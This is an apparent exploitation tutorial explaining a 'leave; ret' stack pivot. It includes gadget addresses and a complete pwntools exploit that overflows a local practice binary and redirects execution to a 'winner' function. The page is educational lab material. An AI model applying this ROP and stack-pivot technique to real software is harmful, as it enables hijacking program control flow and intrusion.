---
description: Using leave; ret to stack pivot
---

# leave

## Exploitation

By calling `leave; ret` twice, as described, this happens:

```
mov rsp, rbp
pop rbp
mov rsp, rbp
pop rbp
```

By controlling the value popped into RBP, we can control RSP.

### Gadgets

As before, but with a difference:

```
$ ROPgadget --binary vuln | grep 'leave'
0x000000000040117c : leave ; ret
```

```python
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
```

### Testing the leave

I won't bother stepping through it again - if you want that, check out the [pop rsp walkthrough](pop-rsp).

```python
payload = flat(
    'A' * 96,
    buffer,
    LEAVE_RET
)

pause()
p.sendline(payload)
print(p.recvline())
```

Essentially, that pops `buffer` into RSP (as described previously).

### Full Payload

You might be tempted to just chuck the payload into the buffer and boom, RSP points there, but you can't quite - as with the previous approach, there is a `pop` instruction that needs to be accounted for - again, remember `leave` is

```
mov rsp, rbp
pop rbp
```

So once you overwrite RSP, you still need to give a value for the `pop rbp`.

```python
payload = flat(
    0x0,               # account for final "pop rbp"
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
    buffer,
    LEAVE_RET
)
```

## Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0x0,               # rbp
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,
    elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
    buffer,
    LEAVE_RET
)

pause()
p.sendline(payload)
print(p.recvline())
```
